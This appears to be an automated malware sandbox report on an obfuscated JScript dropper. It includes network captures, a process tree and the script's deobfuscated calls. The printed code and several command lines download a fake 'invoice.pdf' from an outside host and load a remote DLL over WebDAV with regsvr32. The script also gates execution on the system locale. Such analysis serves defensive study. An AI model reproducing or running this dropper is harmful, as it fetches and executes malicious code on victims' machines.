Jan 11, 2025 03:03:36.053509951 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:03:36.053519011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:03:36.053608894 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 03:03:36.053657055 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 03:03:36.053668976 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 03:03:36.053822041 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 03:03:36.053833008 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 03:03:36.053841114 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 03:03:36.053850889 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 03:03:36.058571100 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	5696	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:03:37.824472904 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:03:38.623954058 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:03:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:03:31
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7222172992877722612.js"
Imagebase:	0x7ff783500000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:03:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Imagebase:	0x7ff78bd90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:03:33
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:03:33
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:03:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	21:03:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78bd90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:03:37
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7de5c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:03:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff66e660000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:03:38
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:03:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1744,i,14698920099243771332,9646005453115857784,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vgqvracak() {	vgqvracak() ➔ undefined
1	dwywkat = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var vtbuxr = this[jndajsni + aktysc + lvmdegu + rwund + xdergevg + yjpli + bmyknmwd + lgllugm] ( this[vitzcff + tkgsc + zjsotwjo + lvmdegu + qbjjjinl + jndajsni + lgllugm][phikpr + lvmdegu + xdergevg + aktysc + lgllugm + xdergevg + hqpsp + rigzold + fbrtfhg + xdergevg + zjsotwjo + lgllugm] ( vitzcff + tkgsc + zjsotwjo + lvmdegu + qbjjjinl + jndajsni + lgllugm + ashwmymc + tkgsc + sjifqwyfx + xdergevg + cxgmgt + cxgmgt ) [aqirjxrm + xdergevg + fsgcizh + aqirjxrm + xdergevg + aktysc + asgagzdfp] ( ehyhqiqh + xcavh + nvanq + qpqdzlx + dznvss + phikpr + xgfexmi + aqirjxrm + aqirjxrm + nvanq + ulcsmilt + kganmiuq + dznvss + xgfexmi + tkgsc + nvanq + aqirjxrm + fszypnves + phikpr + tennpbsgk + bmyknmwd + lgllugm + lvmdegu + tennpbsgk + cxgmgt + suhfq + bdjsekzsy + aktysc + bmyknmwd + xdergevg + cxgmgt + fszypnves + yjpli + bmyknmwd + lgllugm + xdergevg + lvmdegu + bmyknmwd + aktysc + lgllugm + qbjjjinl + tennpbsgk + bmyknmwd + aktysc + cxgmgt + fszypnves + taufc + tennpbsgk + zjsotwjo + aktysc + cxgmgt + xdergevg ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( avbvis = 0 ; avbvis < dwywkat[cxgmgt + xdergevg + bmyknmwd + fsgcizh + lgllugm + sjifqwyfx] ; ++ avbvis )
4	{
5	if ( vtbuxr == dwywkat[avbvis] )
6	{
7	vtbuxr = true;
8	break ;
9	}
10	}
11	if ( vtbuxr !== true )
12	this[vitzcff + tkgsc + zjsotwjo + lvmdegu + qbjjjinl + jndajsni + lgllugm][tqmejmucl + rxfxm + qbjjjinl + lgllugm] ( );
13	this[vitzcff + tkgsc + zjsotwjo + lvmdegu + qbjjjinl + jndajsni + lgllugm][phikpr + lvmdegu + xdergevg + aktysc + lgllugm + xdergevg + hqpsp + rigzold + fbrtfhg + xdergevg + zjsotwjo + lgllugm] ( vitzcff + tkgsc + zjsotwjo + lvmdegu + qbjjjinl + jndajsni + lgllugm + ashwmymc + tkgsc + sjifqwyfx + xdergevg + cxgmgt + cxgmgt ) [lvmdegu + rxfxm + bmyknmwd] ( zjsotwjo + fdruey + asgagzdfp + suhfq + vltpn + zjsotwjo + suhfq + jndajsni + tennpbsgk + thfgcui + xdergevg + lvmdegu + rwund + sjifqwyfx + xdergevg + cxgmgt + cxgmgt + ashwmymc + xdergevg + aqfkhck + xdergevg + suhfq + jhmghel + phikpr + tennpbsgk + fdruey + fdruey + aktysc + bmyknmwd + asgagzdfp + suhfq + pfcvixyed + yjpli + bmyknmwd + bwdujv + tennpbsgk + wytolctq + xdergevg + jhmghel + vitzcff + xdergevg + rigzold + aqirjxrm + xdergevg + ydhxi + rxfxm + xdergevg + rwund + lgllugm + suhfq + jhmghel + hqpsp + rxfxm + lgllugm + imeabun + qbjjjinl + cxgmgt + xdergevg + suhfq + usxaknhpw + lgllugm + xdergevg + fdruey + jndajsni + usxaknhpw + fszypnves + qbjjjinl + bmyknmwd + bwdujv + tennpbsgk + qbjjjinl + zjsotwjo + xdergevg + ashwmymc + jndajsni + asgagzdfp + eycabde + suhfq + sjifqwyfx + lgllugm + lgllugm + jndajsni + wlcgurkwd + vltpn + vltpn + epvlrved + yeloaxvx + jetwewhsx + ashwmymc + epvlrved + tksuv + jetwewhsx + ashwmymc + epvlrved + ashwmymc + wyuycml + pplaghtc + tavxi + vltpn + qbjjjinl + bmyknmwd + bwdujv + tennpbsgk + qbjjjinl + zjsotwjo + xdergevg + ashwmymc + jndajsni + sjifqwyfx + jndajsni + pfcvixyed + mtbbhtb + mtbbhtb + rwund + lgllugm + aktysc + lvmdegu + lgllugm + suhfq + usxaknhpw + lgllugm + xdergevg + fdruey + jndajsni + usxaknhpw + fszypnves + qbjjjinl + bmyknmwd + bwdujv + tennpbsgk + qbjjjinl + zjsotwjo + xdergevg + ashwmymc + jndajsni + asgagzdfp + eycabde + mtbbhtb + mtbbhtb + zjsotwjo + fdruey + asgagzdfp + suhfq + vltpn + zjsotwjo + suhfq + bmyknmwd + xdergevg + lgllugm + suhfq + rxfxm + rwund + xdergevg + suhfq + fszypnves + fszypnves + epvlrved + yeloaxvx + jetwewhsx + ashwmymc + epvlrved + tksuv + jetwewhsx + ashwmymc + epvlrved + ashwmymc + wyuycml + pplaghtc + tavxi + ljubkdz + pllmuguk + pllmuguk + pllmuguk + pllmuguk + fszypnves + asgagzdfp + aktysc + bwdujv + thfgcui + thfgcui + thfgcui + lvmdegu + tennpbsgk + tennpbsgk + lgllugm + fszypnves + mtbbhtb + mtbbhtb + zjsotwjo + fdruey + asgagzdfp + suhfq + vltpn + zjsotwjo + suhfq + lvmdegu + xdergevg + fsgcizh + rwund + bwdujv + lvmdegu + jetwewhsx + wyuycml + suhfq + vltpn + rwund + suhfq + fszypnves + fszypnves + epvlrved + yeloaxvx + jetwewhsx + ashwmymc + epvlrved + tksuv + jetwewhsx + ashwmymc + epvlrved + ashwmymc + wyuycml + pplaghtc + tavxi + ljubkdz + pllmuguk + pllmuguk + pllmuguk + pllmuguk + fszypnves + asgagzdfp + aktysc + bwdujv + thfgcui + thfgcui + thfgcui + lvmdegu + tennpbsgk + tennpbsgk + lgllugm + fszypnves + wyuycml + yeloaxvx + epvlrved + pplaghtc + wyuycml + pllmuguk + yeloaxvx + jetwewhsx + xlpstasx + wyuycml + yeloaxvx + pplaghtc + pllmuguk + yeloaxvx + ashwmymc + asgagzdfp + cxgmgt + cxgmgt, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll",0,false) ➔ 0
14	}
15	imeabun = "U";
16	imeabun = "h";
17	imeabun = "N";
18	imeabun = "G";
19	imeabun = "l";
20	imeabun = "F";
21	imeabun = "Y";
22	imeabun = "x";
23	imeabun = "H";
24	imeabun = "c";
25	imeabun = "P";
26	imeabun = "s";
27	imeabun = "e";
28	imeabun = "e";
29	imeabun = "Y";
30	imeabun = "o";
31	imeabun = "j";
32	imeabun = "J";
33	imeabun = "W";
34	imeabun = "G";
35	imeabun = "y";
36	imeabun = "q";
37	imeabun = "d";
38	imeabun = "K";
39	imeabun = "u";
40	imeabun = "E";
41	imeabun = "A";
42	imeabun = "D";
43	imeabun = "e";
44	imeabun = "A";
45	imeabun = "M";
46	imeabun = "F";
47	thfgcui = "l";
48	thfgcui = "G";
49	thfgcui = "b";
50	thfgcui = "N";
51	thfgcui = "s";
52	thfgcui = "Y";
53	thfgcui = "O";
54	thfgcui = "p";
55	thfgcui = "j";
56	thfgcui = "F";
57	thfgcui = "w";
58	thfgcui = "e";
59	thfgcui = "y";
60	thfgcui = "M";
61	thfgcui = "H";
62	thfgcui = "j";
63	thfgcui = "o";
64	thfgcui = "m";
65	thfgcui = "q";
66	thfgcui = "K";
67	thfgcui = "s";
68	thfgcui = "U";
69	thfgcui = "t";
70	thfgcui = "Q";
71	thfgcui = "R";
72	thfgcui = "I";
73	thfgcui = "O";
74	thfgcui = "U";
75	thfgcui = "j";
76	thfgcui = "i";
77	thfgcui = "S";
78	thfgcui = "E";
79	thfgcui = "t";
80	thfgcui = "k";
81	thfgcui = "P";
82	thfgcui = "w";
83	aqfkhck = "A";
84	aqfkhck = "e";
85	aqfkhck = "U";
86	aqfkhck = "H";
87	aqfkhck = "C";
88	aqfkhck = "P";
89	aqfkhck = "w";
90	aqfkhck = "T";
91	aqfkhck = "g";
92	aqfkhck = "e";
93	aqfkhck = "S";
94	aqfkhck = "w";
95	aqfkhck = "t";
96	aqfkhck = "h";
97	aqfkhck = "o";
98	aqfkhck = "d";
99	aqfkhck = "Z";
100	aqfkhck = "b";
101	aqfkhck = "s";
102	aqfkhck = "H";
103	aqfkhck = "V";
104	aqfkhck = "O";
105	aqfkhck = "x";
106	xgfexmi = "b";
107	xgfexmi = "R";
108	xgfexmi = "e";
109	xgfexmi = "L";
110	xgfexmi = "n";
111	xgfexmi = "P";
112	xgfexmi = "S";
113	xgfexmi = "U";
114	lgllugm = "S";
115	lgllugm = "K";
116	lgllugm = "t";
117	lgllugm = "n";
118	lgllugm = "a";
119	lgllugm = "J";
120	lgllugm = "e";
121	lgllugm = "h";
122	lgllugm = "U";
123	lgllugm = "C";
124	lgllugm = "j";
125	lgllugm = "A";
126	lgllugm = "B";
127	lgllugm = "M";
128	lgllugm = "n";
129	lgllugm = "p";
130	lgllugm = "P";
131	lgllugm = "m";
132	lgllugm = "B";
133	lgllugm = "O";
134	lgllugm = "T";
135	lgllugm = "e";
136	lgllugm = "Y";
137	lgllugm = "f";
138	lgllugm = "g";
139	lgllugm = "C";
140	lgllugm = "a";
141	lgllugm = "O";
142	lgllugm = "J";
143	lgllugm = "l";
144	lgllugm = "Y";
145	lgllugm = "X";
146	lgllugm = "G";
147	lgllugm = "G";
148	lgllugm = "I";
149	lgllugm = "o";
150	lgllugm = "w";
151	lgllugm = "H";
152	lgllugm = "G";
153	lgllugm = "t";
154	lgllugm = "s";
155	lgllugm = "C";
156	lgllugm = "u";
157	lgllugm = "Q";
158	lgllugm = "t";
159	jetwewhsx = "k";
160	jetwewhsx = "U";
161	jetwewhsx = "U";
162	jetwewhsx = "i";
163	jetwewhsx = "m";
164	jetwewhsx = "M";
165	jetwewhsx = "P";
166	jetwewhsx = "k";
167	jetwewhsx = "o";
168	jetwewhsx = "b";
169	jetwewhsx = "s";
170	jetwewhsx = "d";
171	jetwewhsx = "w";
172	jetwewhsx = "P";
173	jetwewhsx = "i";
174	jetwewhsx = "W";
175	jetwewhsx = "o";
176	jetwewhsx = "x";
177	jetwewhsx = "q";
178	jetwewhsx = "o";
179	jetwewhsx = "N";
180	jetwewhsx = "V";
181	jetwewhsx = "q";
182	jetwewhsx = "Q";
183	jetwewhsx = "M";
184	jetwewhsx = "D";
185	jetwewhsx = "W";
186	jetwewhsx = "P";
187	jetwewhsx = "B";
188	jetwewhsx = "i";
189	jetwewhsx = "n";
190	jetwewhsx = "m";
191	jetwewhsx = "O";
192	jetwewhsx = "R";
193	jetwewhsx = "U";
194	jetwewhsx = "3";
195	yjpli = "d";
196	yjpli = "t";
197	yjpli = "C";
198	yjpli = "y";
199	yjpli = "O";
200	yjpli = "c";
201	yjpli = "g";
202	yjpli = "T";
203	yjpli = "c";
204	yjpli = "B";
205	yjpli = "L";
206	yjpli = "H";
207	yjpli = "U";
208	yjpli = "s";
209	yjpli = "C";
210	yjpli = "I";
211	yjpli = "i";
212	yjpli = "O";
213	yjpli = "Q";
214	yjpli = "R";
215	yjpli = "L";
216	yjpli = "w";
217	yjpli = "x";
218	yjpli = "e";
219	yjpli = "X";
220	yjpli = "v";
221	yjpli = "E";
222	yjpli = "R";
223	yjpli = "x";
224	yjpli = "n";
225	yjpli = "i";
226	yjpli = "I";
227	tqmejmucl = "A";
228	tqmejmucl = "z";
229	tqmejmucl = "y";
230	tqmejmucl = "m";
231	tqmejmucl = "Y";
232	tqmejmucl = "C";
233	tqmejmucl = "O";
234	tqmejmucl = "A";
235	tqmejmucl = "i";
236	tqmejmucl = "y";
237	tqmejmucl = "z";
238	tqmejmucl = "k";
239	tqmejmucl = "F";
240	tqmejmucl = "K";
241	tqmejmucl = "p";
242	tqmejmucl = "t";
243	tqmejmucl = "Y";
244	tqmejmucl = "S";
245	tqmejmucl = "d";
246	tqmejmucl = "u";
247	tqmejmucl = "D";
248	tqmejmucl = "n";
249	tqmejmucl = "g";
250	tqmejmucl = "z";
251	tqmejmucl = "z";
252	tqmejmucl = "C";
253	tqmejmucl = "o";
254	tqmejmucl = "Z";
255	tqmejmucl = "r";
256	tqmejmucl = "Q";
257	pllmuguk = "D";
258	pllmuguk = "G";
259	pllmuguk = "D";
260	pllmuguk = "x";
261	pllmuguk = "Z";
262	pllmuguk = "l";
263	pllmuguk = "y";
264	pllmuguk = "t";
265	pllmuguk = "d";
266	pllmuguk = "P";
267	pllmuguk = "t";
268	pllmuguk = "P";
269	pllmuguk = "a";
270	pllmuguk = "l";
271	pllmuguk = "u";
272	pllmuguk = "W";
273	pllmuguk = "b";
274	pllmuguk = "k";
275	pllmuguk = "z";
276	pllmuguk = "z";
277	pllmuguk = "P";
278	pllmuguk = "J";
279	pllmuguk = "z";
280	pllmuguk = "W";
281	pllmuguk = "n";
282	pllmuguk = "Y";
283	pllmuguk = "n";
284	pllmuguk = "8";
285	xlpstasx = "e";
286	xlpstasx = "v";
287	xlpstasx = "S";
288	xlpstasx = "U";
289	xlpstasx = "U";
290	xlpstasx = "q";
291	xlpstasx = "q";
292	xlpstasx = "s";
293	xlpstasx = "V";
294	xlpstasx = "r";
295	xlpstasx = "k";
296	xlpstasx = "t";
297	xlpstasx = "p";
298	xlpstasx = "I";
299	xlpstasx = "M";
300	xlpstasx = "Y";
301	xlpstasx = "7";
302	taufc = "P";
303	taufc = "O";
304	taufc = "a";
305	taufc = "T";
306	taufc = "W";
307	taufc = "n";
308	taufc = "W";
309	taufc = "C";
310	taufc = "M";
311	taufc = "r";
312	taufc = "Q";
313	taufc = "I";
314	taufc = "o";
315	taufc = "t";
316	taufc = "Q";
317	taufc = "Z";
318	taufc = "Q";
319	taufc = "m";
320	taufc = "N";
321	taufc = "e";
322	taufc = "J";
323	taufc = "V";
324	taufc = "J";
325	taufc = "J";
326	taufc = "z";
327	taufc = "A";
328	taufc = "l";
329	taufc = "c";
330	taufc = "i";
331	taufc = "v";
332	taufc = "Y";
333	taufc = "k";
334	taufc = "o";
335	taufc = "O";
336	taufc = "w";
337	taufc = "l";
338	taufc = "L";
339	bwdujv = "a";
340	bwdujv = "n";
341	bwdujv = "o";
342	bwdujv = "Y";
343	bwdujv = "W";
344	bwdujv = "k";
345	bwdujv = "v";
346	bdjsekzsy = "W";
347	bdjsekzsy = "c";
348	bdjsekzsy = "f";
349	bdjsekzsy = "w";
350	bdjsekzsy = "Q";
351	bdjsekzsy = "J";
352	bdjsekzsy = "W";
353	bdjsekzsy = "i";
354	bdjsekzsy = "W";
355	bdjsekzsy = "s";
356	bdjsekzsy = "U";
357	bdjsekzsy = "T";
358	bdjsekzsy = "g";
359	bdjsekzsy = "u";
360	bdjsekzsy = "S";
361	bdjsekzsy = "A";
362	bdjsekzsy = "W";
363	bdjsekzsy = "r";
364	bdjsekzsy = "o";
365	bdjsekzsy = "k";
366	bdjsekzsy = "k";
367	bdjsekzsy = "q";
368	bdjsekzsy = "x";
369	bdjsekzsy = "P";
370	rxfxm = "o";
371	rxfxm = "q";
372	rxfxm = "x";
373	rxfxm = "L";
374	rxfxm = "P";
375	rxfxm = "f";
376	rxfxm = "O";
377	rxfxm = "x";
378	rxfxm = "R";
379	rxfxm = "x";
380	rxfxm = "e";
381	rxfxm = "B";
382	rxfxm = "U";
383	rxfxm = "P";
384	rxfxm = "C";
385	rxfxm = "C";
386	rxfxm = "y";
387	rxfxm = "u";
388	yeloaxvx = "L";
389	yeloaxvx = "q";
390	yeloaxvx = "j";
391	yeloaxvx = "J";
392	yeloaxvx = "x";
393	yeloaxvx = "r";
394	yeloaxvx = "X";
395	yeloaxvx = "V";
396	yeloaxvx = "w";
397	yeloaxvx = "U";
398	yeloaxvx = "p";
399	yeloaxvx = "z";
400	yeloaxvx = "r";
401	yeloaxvx = "J";
402	yeloaxvx = "v";
403	yeloaxvx = "e";
404	yeloaxvx = "T";
405	yeloaxvx = "y";
406	yeloaxvx = "d";
407	yeloaxvx = "N";
408	yeloaxvx = "K";
409	yeloaxvx = "f";
410	yeloaxvx = "E";
411	yeloaxvx = "n";
412	yeloaxvx = "q";
413	yeloaxvx = "d";
414	yeloaxvx = "f";
415	yeloaxvx = "9";
416	lvmdegu = "S";
417	lvmdegu = "Z";
418	lvmdegu = "n";
419	lvmdegu = "O";
420	lvmdegu = "b";
421	lvmdegu = "z";
422	lvmdegu = "I";
423	lvmdegu = "J";
424	lvmdegu = "K";
425	lvmdegu = "W";
426	lvmdegu = "I";
427	lvmdegu = "Q";
428	lvmdegu = "h";
429	lvmdegu = "i";
430	lvmdegu = "T";
431	lvmdegu = "b";
432	lvmdegu = "r";
433	lvmdegu = "M";
434	lvmdegu = "M";
435	lvmdegu = "w";
436	lvmdegu = "F";
437	lvmdegu = "Z";
438	lvmdegu = "G";
439	lvmdegu = "K";
